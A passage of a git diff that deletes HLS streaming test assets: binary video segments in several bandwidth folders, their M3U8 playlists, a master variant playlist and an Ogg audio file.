--- a/tests/tests/media/assets/hls_variant/1676816/05.ts
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/assets/hls_variant/1676816/06.ts b/tests/tests/media/assets/hls_variant/1676816/06.ts
deleted file mode 100644
index dfdfe31..0000000
--- a/tests/tests/media/assets/hls_variant/1676816/06.ts
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/assets/hls_variant/1676816/07.ts b/tests/tests/media/assets/hls_variant/1676816/07.ts
deleted file mode 100644
index be22e90..0000000
--- a/tests/tests/media/assets/hls_variant/1676816/07.ts
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/assets/hls_variant/1676816/08.ts b/tests/tests/media/assets/hls_variant/1676816/08.ts
deleted file mode 100644
index a892318..0000000
--- a/tests/tests/media/assets/hls_variant/1676816/08.ts
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/assets/hls_variant/1676816/09.ts b/tests/tests/media/assets/hls_variant/1676816/09.ts
deleted file mode 100644
index 9a1e3c9..0000000
--- a/tests/tests/media/assets/hls_variant/1676816/09.ts
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/assets/hls_variant/1676816/10.ts b/tests/tests/media/assets/hls_variant/1676816/10.ts
deleted file mode 100644
index 528e424..0000000
--- a/tests/tests/media/assets/hls_variant/1676816/10.ts
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/assets/hls_variant/1676816/11.ts b/tests/tests/media/assets/hls_variant/1676816/11.ts
deleted file mode 100644
index 2ad52f9..0000000
--- a/tests/tests/media/assets/hls_variant/1676816/11.ts
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/assets/hls_variant/1676816/12.ts b/tests/tests/media/assets/hls_variant/1676816/12.ts
deleted file mode 100644
index 5275b47..0000000
--- a/tests/tests/media/assets/hls_variant/1676816/12.ts
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/assets/hls_variant/1676816/13.ts b/tests/tests/media/assets/hls_variant/1676816/13.ts
deleted file mode 100644
index 5894d31..0000000
--- a/tests/tests/media/assets/hls_variant/1676816/13.ts
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/assets/hls_variant/1676816/14.ts b/tests/tests/media/assets/hls_variant/1676816/14.ts
deleted file mode 100644
index 44f5200..0000000
--- a/tests/tests/media/assets/hls_variant/1676816/14.ts
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/assets/hls_variant/1676816/15.ts b/tests/tests/media/assets/hls_variant/1676816/15.ts
deleted file mode 100644
index e548fb18..0000000
--- a/tests/tests/media/assets/hls_variant/1676816/15.ts
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/assets/hls_variant/1676816/16.ts b/tests/tests/media/assets/hls_variant/1676816/16.ts
deleted file mode 100644
index 9ad2c6a..0000000
--- a/tests/tests/media/assets/hls_variant/1676816/16.ts
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/assets/hls_variant/1676816/17.ts b/tests/tests/media/assets/hls_variant/1676816/17.ts
deleted file mode 100644
index 1cd735f..0000000
--- a/tests/tests/media/assets/hls_variant/1676816/17.ts
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/assets/hls_variant/1676816/18.ts b/tests/tests/media/assets/hls_variant/1676816/18.ts
deleted file mode 100644
index a593dba..0000000
--- a/tests/tests/media/assets/hls_variant/1676816/18.ts
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/assets/hls_variant/1676816/19.ts b/tests/tests/media/assets/hls_variant/1676816/19.ts
deleted file mode 100644
index 3fb49cb..0000000
--- a/tests/tests/media/assets/hls_variant/1676816/19.ts
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/assets/hls_variant/1676816/20.ts b/tests/tests/media/assets/hls_variant/1676816/20.ts
deleted file mode 100644
index 7a586e7..0000000
--- a/tests/tests/media/assets/hls_variant/1676816/20.ts
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/assets/hls_variant/1676816/21.ts b/tests/tests/media/assets/hls_variant/1676816/21.ts
deleted file mode 100644
index bd70554..0000000
--- a/tests/tests/media/assets/hls_variant/1676816/21.ts
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/assets/hls_variant/1676816/22.ts b/tests/tests/media/assets/hls_variant/1676816/22.ts
deleted file mode 100644
index 12ea80d..0000000
--- a/tests/tests/media/assets/hls_variant/1676816/22.ts
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/assets/hls_variant/1676816/23.ts b/tests/tests/media/assets/hls_variant/1676816/23.ts
deleted file mode 100644
index c1b5be9..0000000
--- a/tests/tests/media/assets/hls_variant/1676816/23.ts
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/assets/hls_variant/1676816/24.ts b/tests/tests/media/assets/hls_variant/1676816/24.ts
deleted file mode 100644
index 76bd0b5..0000000
--- a/tests/tests/media/assets/hls_variant/1676816/24.ts
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/assets/hls_variant/1676816/index.m3u8 b/tests/tests/media/assets/hls_variant/1676816/index.m3u8
deleted file mode 100644
index f36f33d..0000000
--- a/tests/tests/media/assets/hls_variant/1676816/index.m3u8
+++ /dev/null
@@ -1,53 +0,0 @@
-#EXTM3U
-#EXT-X-VERSION:3
-#EXT-X-TARGETDURATION:5
-#EXT-X-PLAYLIST-TYPE:VOD
-#EXTINF:5,
-00.ts
-#EXTINF:5,
-01.ts
-#EXTINF:5,
-02.ts
-#EXTINF:5,
-03.ts
-#EXTINF:5,
-04.ts
-#EXTINF:5,
-05.ts
-#EXTINF:5,
-06.ts
-#EXTINF:5,
-07.ts
-#EXTINF:5,
-08.ts
-#EXTINF:5,
-09.ts
-#EXTINF:5,
-10.ts
-#EXTINF:5,
-11.ts
-#EXTINF:5,
-12.ts
-#EXTINF:5,
-13.ts
-#EXTINF:5,
-14.ts
-#EXTINF:5,
-15.ts
-#EXTINF:5,
-16.ts
-#EXTINF:5,
-17.ts
-#EXTINF:5,
-18.ts
-#EXTINF:5,
-19.ts
-#EXTINF:5,
-20.ts
-#EXTINF:5,
-21.ts
-#EXTINF:5,
-22.ts
-#EXTINF:5,
-23.ts
-#EXT-X-ENDLIST
\ No newline at end of file
diff --git a/tests/tests/media/assets/hls_variant/344388/00.ts b/tests/tests/media/assets/hls_variant/344388/00.ts
deleted file mode 100644
index e26ad20..0000000
--- a/tests/tests/media/assets/hls_variant/344388/00.ts
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/assets/hls_variant/344388/01.ts b/tests/tests/media/assets/hls_variant/344388/01.ts
deleted file mode 100644
index fa5395d..0000000
--- a/tests/tests/media/assets/hls_variant/344388/01.ts
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/assets/hls_variant/344388/02.ts b/tests/tests/media/assets/hls_variant/344388/02.ts
deleted file mode 100644
index a924b05..0000000
--- a/tests/tests/media/assets/hls_variant/344388/02.ts
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/assets/hls_variant/344388/03.ts b/tests/tests/media/assets/hls_variant/344388/03.ts
deleted file mode 100644
index 4136491..0000000
--- a/tests/tests/media/assets/hls_variant/344388/03.ts
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/assets/hls_variant/344388/04.ts b/tests/tests/media/assets/hls_variant/344388/04.ts
deleted file mode 100644
index cf03032..0000000
--- a/tests/tests/media/assets/hls_variant/344388/04.ts
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/assets/hls_variant/344388/05.ts b/tests/tests/media/assets/hls_variant/344388/05.ts
deleted file mode 100644
index 25d127b..0000000
--- a/tests/tests/media/assets/hls_variant/344388/05.ts
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/assets/hls_variant/344388/06.ts b/tests/tests/media/assets/hls_variant/344388/06.ts
deleted file mode 100644
index f132be4..0000000
--- a/tests/tests/media/assets/hls_variant/344388/06.ts
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/assets/hls_variant/344388/07.ts b/tests/tests/media/assets/hls_variant/344388/07.ts
deleted file mode 100644
index b1e7f36..0000000
--- a/tests/tests/media/assets/hls_variant/344388/07.ts
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/assets/hls_variant/344388/08.ts b/tests/tests/media/assets/hls_variant/344388/08.ts
deleted file mode 100644
index bbeb4fd..0000000
--- a/tests/tests/media/assets/hls_variant/344388/08.ts
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/assets/hls_variant/344388/09.ts b/tests/tests/media/assets/hls_variant/344388/09.ts
deleted file mode 100644
index f444ab9..0000000
--- a/tests/tests/media/assets/hls_variant/344388/09.ts
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/assets/hls_variant/344388/10.ts b/tests/tests/media/assets/hls_variant/344388/10.ts
deleted file mode 100644
index 910dd43..0000000
--- a/tests/tests/media/assets/hls_variant/344388/10.ts
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/assets/hls_variant/344388/11.ts b/tests/tests/media/assets/hls_variant/344388/11.ts
deleted file mode 100644
index 892a6b3..0000000
--- a/tests/tests/media/assets/hls_variant/344388/11.ts
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/assets/hls_variant/344388/12.ts b/tests/tests/media/assets/hls_variant/344388/12.ts
deleted file mode 100644
index 2a8bfeb..0000000
--- a/tests/tests/media/assets/hls_variant/344388/12.ts
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/assets/hls_variant/344388/13.ts b/tests/tests/media/assets/hls_variant/344388/13.ts
deleted file mode 100644
index bf9f1a4..0000000
--- a/tests/tests/media/assets/hls_variant/344388/13.ts
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/assets/hls_variant/344388/14.ts b/tests/tests/media/assets/hls_variant/344388/14.ts
deleted file mode 100644
index 45c604c..0000000
--- a/tests/tests/media/assets/hls_variant/344388/14.ts
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/assets/hls_variant/344388/15.ts b/tests/tests/media/assets/hls_variant/344388/15.ts
deleted file mode 100644
index 4d5de4f..0000000
--- a/tests/tests/media/assets/hls_variant/344388/15.ts
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/assets/hls_variant/344388/16.ts b/tests/tests/media/assets/hls_variant/344388/16.ts
deleted file mode 100644
index 9551838..0000000
--- a/tests/tests/media/assets/hls_variant/344388/16.ts
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/assets/hls_variant/344388/17.ts b/tests/tests/media/assets/hls_variant/344388/17.ts
deleted file mode 100644
index dde4452..0000000
--- a/tests/tests/media/assets/hls_variant/344388/17.ts
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/assets/hls_variant/344388/18.ts b/tests/tests/media/assets/hls_variant/344388/18.ts
deleted file mode 100644
index c7b3919..0000000
--- a/tests/tests/media/assets/hls_variant/344388/18.ts
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/assets/hls_variant/344388/19.ts b/tests/tests/media/assets/hls_variant/344388/19.ts
deleted file mode 100644
index 5aa3c84..0000000
--- a/tests/tests/media/assets/hls_variant/344388/19.ts
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/assets/hls_variant/344388/20.ts b/tests/tests/media/assets/hls_variant/344388/20.ts
deleted file mode 100644
index 0d509bb..0000000
--- a/tests/tests/media/assets/hls_variant/344388/20.ts
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/assets/hls_variant/344388/21.ts b/tests/tests/media/assets/hls_variant/344388/21.ts
deleted file mode 100644
index 252a953..0000000
--- a/tests/tests/media/assets/hls_variant/344388/21.ts
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/assets/hls_variant/344388/22.ts b/tests/tests/media/assets/hls_variant/344388/22.ts
deleted file mode 100644
index 7098fdd..0000000
--- a/tests/tests/media/assets/hls_variant/344388/22.ts
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/assets/hls_variant/344388/23.ts b/tests/tests/media/assets/hls_variant/344388/23.ts
deleted file mode 100644
index 69bd886..0000000
--- a/tests/tests/media/assets/hls_variant/344388/23.ts
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/assets/hls_variant/344388/24.ts b/tests/tests/media/assets/hls_variant/344388/24.ts
deleted file mode 100644
index 0542cc2..0000000
--- a/tests/tests/media/assets/hls_variant/344388/24.ts
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/assets/hls_variant/344388/index.m3u8 b/tests/tests/media/assets/hls_variant/344388/index.m3u8
deleted file mode 100644
index f36f33d..0000000
--- a/tests/tests/media/assets/hls_variant/344388/index.m3u8
+++ /dev/null
@@ -1,53 +0,0 @@
-#EXTM3U
-#EXT-X-VERSION:3
-#EXT-X-TARGETDURATION:5
-#EXT-X-PLAYLIST-TYPE:VOD
-#EXTINF:5,
-00.ts
-#EXTINF:5,
-01.ts
-#EXTINF:5,
-02.ts
-#EXTINF:5,
-03.ts
-#EXTINF:5,
-04.ts
-#EXTINF:5,
-05.ts
-#EXTINF:5,
-06.ts
-#EXTINF:5,
-07.ts
-#EXTINF:5,
-08.ts
-#EXTINF:5,
-09.ts
-#EXTINF:5,
-10.ts
-#EXTINF:5,
-11.ts
-#EXTINF:5,
-12.ts
-#EXTINF:5,
-13.ts
-#EXTINF:5,
-14.ts
-#EXTINF:5,
-15.ts
-#EXTINF:5,
-16.ts
-#EXTINF:5,
-17.ts
-#EXTINF:5,
-18.ts
-#EXTINF:5,
-19.ts
-#EXTINF:5,
-20.ts
-#EXTINF:5,
-21.ts
-#EXTINF:5,
-22.ts
-#EXTINF:5,
-23.ts
-#EXT-X-ENDLIST
\ No newline at end of file
diff --git a/tests/tests/media/assets/hls_variant/387360/00.ts b/tests/tests/media/assets/hls_variant/387360/00.ts
deleted file mode 100644
index c7233c2..0000000
--- a/tests/tests/media/assets/hls_variant/387360/00.ts
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/assets/hls_variant/387360/01.ts b/tests/tests/media/assets/hls_variant/387360/01.ts
deleted file mode 100644
index 4d092dd..0000000
--- a/tests/tests/media/assets/hls_variant/387360/01.ts
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/assets/hls_variant/387360/02.ts b/tests/tests/media/assets/hls_variant/387360/02.ts
deleted file mode 100644
index 5b0322e..0000000
--- a/tests/tests/media/assets/hls_variant/387360/02.ts
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/assets/hls_variant/387360/03.ts b/tests/tests/media/assets/hls_variant/387360/03.ts
deleted file mode 100644
index 5081ef0..0000000
--- a/tests/tests/media/assets/hls_variant/387360/03.ts
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/assets/hls_variant/387360/04.ts b/tests/tests/media/assets/hls_variant/387360/04.ts
deleted file mode 100644
index 0f6f0fe..0000000
--- a/tests/tests/media/assets/hls_variant/387360/04.ts
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/assets/hls_variant/387360/05.ts b/tests/tests/media/assets/hls_variant/387360/05.ts
deleted file mode 100644
index e455dec..0000000
--- a/tests/tests/media/assets/hls_variant/387360/05.ts
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/assets/hls_variant/387360/06.ts b/tests/tests/media/assets/hls_variant/387360/06.ts
deleted file mode 100644
index 14afcb9d..0000000
--- a/tests/tests/media/assets/hls_variant/387360/06.ts
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/assets/hls_variant/387360/07.ts b/tests/tests/media/assets/hls_variant/387360/07.ts
deleted file mode 100644
index 6f23d02..0000000
--- a/tests/tests/media/assets/hls_variant/387360/07.ts
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/assets/hls_variant/387360/08.ts b/tests/tests/media/assets/hls_variant/387360/08.ts
deleted file mode 100644
index a3d8dfd..0000000
--- a/tests/tests/media/assets/hls_variant/387360/08.ts
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/assets/hls_variant/387360/09.ts b/tests/tests/media/assets/hls_variant/387360/09.ts
deleted file mode 100644
index 87d6de1..0000000
--- a/tests/tests/media/assets/hls_variant/387360/09.ts
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/assets/hls_variant/387360/10.ts b/tests/tests/media/assets/hls_variant/387360/10.ts
deleted file mode 100644
index 04ab37a..0000000
--- a/tests/tests/media/assets/hls_variant/387360/10.ts
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/assets/hls_variant/387360/11.ts b/tests/tests/media/assets/hls_variant/387360/11.ts
deleted file mode 100644
index 1fa238b..0000000
--- a/tests/tests/media/assets/hls_variant/387360/11.ts
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/assets/hls_variant/387360/12.ts b/tests/tests/media/assets/hls_variant/387360/12.ts
deleted file mode 100644
index 445b0b9..0000000
--- a/tests/tests/media/assets/hls_variant/387360/12.ts
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/assets/hls_variant/387360/13.ts b/tests/tests/media/assets/hls_variant/387360/13.ts
deleted file mode 100644
index 6bcd81b..0000000
--- a/tests/tests/media/assets/hls_variant/387360/13.ts
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/assets/hls_variant/387360/14.ts b/tests/tests/media/assets/hls_variant/387360/14.ts
deleted file mode 100644
index f3f8e78..0000000
--- a/tests/tests/media/assets/hls_variant/387360/14.ts
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/assets/hls_variant/387360/15.ts b/tests/tests/media/assets/hls_variant/387360/15.ts
deleted file mode 100644
index 6b12e72..0000000
--- a/tests/tests/media/assets/hls_variant/387360/15.ts
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/assets/hls_variant/387360/16.ts b/tests/tests/media/assets/hls_variant/387360/16.ts
deleted file mode 100644
index d95eeba..0000000
--- a/tests/tests/media/assets/hls_variant/387360/16.ts
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/assets/hls_variant/387360/17.ts b/tests/tests/media/assets/hls_variant/387360/17.ts
deleted file mode 100644
index 141ae44..0000000
--- a/tests/tests/media/assets/hls_variant/387360/17.ts
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/assets/hls_variant/387360/18.ts b/tests/tests/media/assets/hls_variant/387360/18.ts
deleted file mode 100644
index fc52f1d..0000000
--- a/tests/tests/media/assets/hls_variant/387360/18.ts
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/assets/hls_variant/387360/19.ts b/tests/tests/media/assets/hls_variant/387360/19.ts
deleted file mode 100644
index 077db9b..0000000
--- a/tests/tests/media/assets/hls_variant/387360/19.ts
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/assets/hls_variant/387360/20.ts b/tests/tests/media/assets/hls_variant/387360/20.ts
deleted file mode 100644
index 4ffb301..0000000
--- a/tests/tests/media/assets/hls_variant/387360/20.ts
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/assets/hls_variant/387360/21.ts b/tests/tests/media/assets/hls_variant/387360/21.ts
deleted file mode 100644
index 6072368..0000000
--- a/tests/tests/media/assets/hls_variant/387360/21.ts
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/assets/hls_variant/387360/22.ts b/tests/tests/media/assets/hls_variant/387360/22.ts
deleted file mode 100644
index 5edc055..0000000
--- a/tests/tests/media/assets/hls_variant/387360/22.ts
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/assets/hls_variant/387360/23.ts b/tests/tests/media/assets/hls_variant/387360/23.ts
deleted file mode 100644
index 7870e39..0000000
--- a/tests/tests/media/assets/hls_variant/387360/23.ts
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/assets/hls_variant/387360/24.ts b/tests/tests/media/assets/hls_variant/387360/24.ts
deleted file mode 100644
index f4fc858..0000000
--- a/tests/tests/media/assets/hls_variant/387360/24.ts
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/assets/hls_variant/387360/index.m3u8 b/tests/tests/media/assets/hls_variant/387360/index.m3u8
deleted file mode 100644
index f36f33d..0000000
--- a/tests/tests/media/assets/hls_variant/387360/index.m3u8
+++ /dev/null
@@ -1,53 +0,0 @@
-#EXTM3U
-#EXT-X-VERSION:3
-#EXT-X-TARGETDURATION:5
-#EXT-X-PLAYLIST-TYPE:VOD
-#EXTINF:5,
-00.ts
-#EXTINF:5,
-01.ts
-#EXTINF:5,
-02.ts
-#EXTINF:5,
-03.ts
-#EXTINF:5,
-04.ts
-#EXTINF:5,
-05.ts
-#EXTINF:5,
-06.ts
-#EXTINF:5,
-07.ts
-#EXTINF:5,
-08.ts
-#EXTINF:5,
-09.ts
-#EXTINF:5,
-10.ts
-#EXTINF:5,
-11.ts
-#EXTINF:5,
-12.ts
-#EXTINF:5,
-13.ts
-#EXTINF:5,
-14.ts
-#EXTINF:5,
-15.ts
-#EXTINF:5,
-16.ts
-#EXTINF:5,
-17.ts
-#EXTINF:5,
-18.ts
-#EXTINF:5,
-19.ts
-#EXTINF:5,
-20.ts
-#EXTINF:5,
-21.ts
-#EXTINF:5,
-22.ts
-#EXTINF:5,
-23.ts
-#EXT-X-ENDLIST
\ No newline at end of file
diff --git a/tests/tests/media/assets/hls_variant/765178/00.ts b/tests/tests/media/assets/hls_variant/765178/00.ts
deleted file mode 100644
index c544131..0000000
--- a/tests/tests/media/assets/hls_variant/765178/00.ts
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/assets/hls_variant/765178/01.ts b/tests/tests/media/assets/hls_variant/765178/01.ts
deleted file mode 100644
index 11adb7a..0000000
--- a/tests/tests/media/assets/hls_variant/765178/01.ts
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/assets/hls_variant/765178/02.ts b/tests/tests/media/assets/hls_variant/765178/02.ts
deleted file mode 100644
index d5300f4..0000000
--- a/tests/tests/media/assets/hls_variant/765178/02.ts
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/assets/hls_variant/765178/03.ts b/tests/tests/media/assets/hls_variant/765178/03.ts
deleted file mode 100644
index 8a3ce79..0000000
--- a/tests/tests/media/assets/hls_variant/765178/03.ts
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/assets/hls_variant/765178/04.ts b/tests/tests/media/assets/hls_variant/765178/04.ts
deleted file mode 100644
index 94b1ced..0000000
--- a/tests/tests/media/assets/hls_variant/765178/04.ts
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/assets/hls_variant/765178/05.ts b/tests/tests/media/assets/hls_variant/765178/05.ts
deleted file mode 100644
index d44d4a6..0000000
--- a/tests/tests/media/assets/hls_variant/765178/05.ts
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/assets/hls_variant/765178/06.ts b/tests/tests/media/assets/hls_variant/765178/06.ts
deleted file mode 100644
index 52455dd..0000000
--- a/tests/tests/media/assets/hls_variant/765178/06.ts
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/assets/hls_variant/765178/07.ts b/tests/tests/media/assets/hls_variant/765178/07.ts
deleted file mode 100644
index cea2858..0000000
--- a/tests/tests/media/assets/hls_variant/765178/07.ts
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/assets/hls_variant/765178/08.ts b/tests/tests/media/assets/hls_variant/765178/08.ts
deleted file mode 100644
index 79a1ef1..0000000
--- a/tests/tests/media/assets/hls_variant/765178/08.ts
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/assets/hls_variant/765178/09.ts b/tests/tests/media/assets/hls_variant/765178/09.ts
deleted file mode 100644
index 6e987f2..0000000
--- a/tests/tests/media/assets/hls_variant/765178/09.ts
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/assets/hls_variant/765178/10.ts b/tests/tests/media/assets/hls_variant/765178/10.ts
deleted file mode 100644
index c5f1af4..0000000
--- a/tests/tests/media/assets/hls_variant/765178/10.ts
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/assets/hls_variant/765178/11.ts b/tests/tests/media/assets/hls_variant/765178/11.ts
deleted file mode 100644
index 1a96c19..0000000
--- a/tests/tests/media/assets/hls_variant/765178/11.ts
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/assets/hls_variant/765178/12.ts b/tests/tests/media/assets/hls_variant/765178/12.ts
deleted file mode 100644
index b6095bb..0000000
--- a/tests/tests/media/assets/hls_variant/765178/12.ts
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/assets/hls_variant/765178/13.ts b/tests/tests/media/assets/hls_variant/765178/13.ts
deleted file mode 100644
index b91b740..0000000
--- a/tests/tests/media/assets/hls_variant/765178/13.ts
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/assets/hls_variant/765178/14.ts b/tests/tests/media/assets/hls_variant/765178/14.ts
deleted file mode 100644
index d033f16..0000000
--- a/tests/tests/media/assets/hls_variant/765178/14.ts
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/assets/hls_variant/765178/15.ts b/tests/tests/media/assets/hls_variant/765178/15.ts
deleted file mode 100644
index f294842..0000000
--- a/tests/tests/media/assets/hls_variant/765178/15.ts
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/assets/hls_variant/765178/16.ts b/tests/tests/media/assets/hls_variant/765178/16.ts
deleted file mode 100644
index 15a9e9e..0000000
--- a/tests/tests/media/assets/hls_variant/765178/16.ts
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/assets/hls_variant/765178/17.ts b/tests/tests/media/assets/hls_variant/765178/17.ts
deleted file mode 100644
index e024ce0..0000000
--- a/tests/tests/media/assets/hls_variant/765178/17.ts
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/assets/hls_variant/765178/18.ts b/tests/tests/media/assets/hls_variant/765178/18.ts
deleted file mode 100644
index 9e7fea2..0000000
--- a/tests/tests/media/assets/hls_variant/765178/18.ts
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/assets/hls_variant/765178/19.ts b/tests/tests/media/assets/hls_variant/765178/19.ts
deleted file mode 100644
index 4bb80bf..0000000
--- a/tests/tests/media/assets/hls_variant/765178/19.ts
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/assets/hls_variant/765178/20.ts b/tests/tests/media/assets/hls_variant/765178/20.ts
deleted file mode 100644
index 591fda9..0000000
--- a/tests/tests/media/assets/hls_variant/765178/20.ts
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/assets/hls_variant/765178/21.ts b/tests/tests/media/assets/hls_variant/765178/21.ts
deleted file mode 100644
index a3cab10..0000000
--- a/tests/tests/media/assets/hls_variant/765178/21.ts
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/assets/hls_variant/765178/22.ts b/tests/tests/media/assets/hls_variant/765178/22.ts
deleted file mode 100644
index c60c3f8..0000000
--- a/tests/tests/media/assets/hls_variant/765178/22.ts
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/assets/hls_variant/765178/23.ts b/tests/tests/media/assets/hls_variant/765178/23.ts
deleted file mode 100644
index e60a254..0000000
--- a/tests/tests/media/assets/hls_variant/765178/23.ts
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/assets/hls_variant/765178/24.ts b/tests/tests/media/assets/hls_variant/765178/24.ts
deleted file mode 100644
index bc75f31..0000000
--- a/tests/tests/media/assets/hls_variant/765178/24.ts
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/assets/hls_variant/765178/index.m3u8 b/tests/tests/media/assets/hls_variant/765178/index.m3u8
deleted file mode 100644
index f36f33d..0000000
--- a/tests/tests/media/assets/hls_variant/765178/index.m3u8
+++ /dev/null
@@ -1,53 +0,0 @@
-#EXTM3U
-#EXT-X-VERSION:3
-#EXT-X-TARGETDURATION:5
-#EXT-X-PLAYLIST-TYPE:VOD
-#EXTINF:5,
-00.ts
-#EXTINF:5,
-01.ts
-#EXTINF:5,
-02.ts
-#EXTINF:5,
-03.ts
-#EXTINF:5,
-04.ts
-#EXTINF:5,
-05.ts
-#EXTINF:5,
-06.ts
-#EXTINF:5,
-07.ts
-#EXTINF:5,
-08.ts
-#EXTINF:5,
-09.ts
-#EXTINF:5,
-10.ts
-#EXTINF:5,
-11.ts
-#EXTINF:5,
-12.ts
-#EXTINF:5,
-13.ts
-#EXTINF:5,
-14.ts
-#EXTINF:5,
-15.ts
-#EXTINF:5,
-16.ts
-#EXTINF:5,
-17.ts
-#EXTINF:5,
-18.ts
-#EXTINF:5,
-19.ts
-#EXTINF:5,
-20.ts
-#EXTINF:5,
-21.ts
-#EXTINF:5,
-22.ts
-#EXTINF:5,
-23.ts
-#EXT-X-ENDLIST
\ No newline at end of file
diff --git a/tests/tests/media/assets/hls_variant/index.m3u8 b/tests/tests/media/assets/hls_variant/index.m3u8
deleted file mode 100644
index 2e94f5d..0000000
--- a/tests/tests/media/assets/hls_variant/index.m3u8
+++ /dev/null
@@ -1,12 +0,0 @@
-#EXTM3U
-#EXT-X-INDEPENDENT-SEGMENTS
-#EXT-X-STREAM-INF:CLOSED-CAPTIONS=NONE,BANDWIDTH=165340,RESOLUTION=256x144,CODECS="mp4a.40.5,avc1.42c00b"
-165340/index.m3u8
-#EXT-X-STREAM-INF:CLOSED-CAPTIONS=NONE,BANDWIDTH=344388,RESOLUTION=426x240,CODECS="mp4a.40.5,avc1.4d4015"
-344388/index.m3u8
-#EXT-X-STREAM-INF:CLOSED-CAPTIONS=NONE,BANDWIDTH=387360,RESOLUTION=640x360,CODECS="mp4a.40.2,avc1.4d401e"
-387360/index.m3u8
-#EXT-X-STREAM-INF:CLOSED-CAPTIONS=NONE,BANDWIDTH=765178,RESOLUTION=854x480,CODECS="mp4a.40.2,avc1.4d401f"
-765178/index.m3u8
-#EXT-X-STREAM-INF:CLOSED-CAPTIONS=NONE,BANDWIDTH=1676816,RESOLUTION=1280x720,CODECS="mp4a.40.2,avc1.4d401f"
-1676816/index.m3u8
diff --git a/tests/tests/media/assets/noiseandchirps.ogg b/tests/tests/media/assets/noiseandchirps.ogg
deleted file mode 100644
index 1acb643..0000000
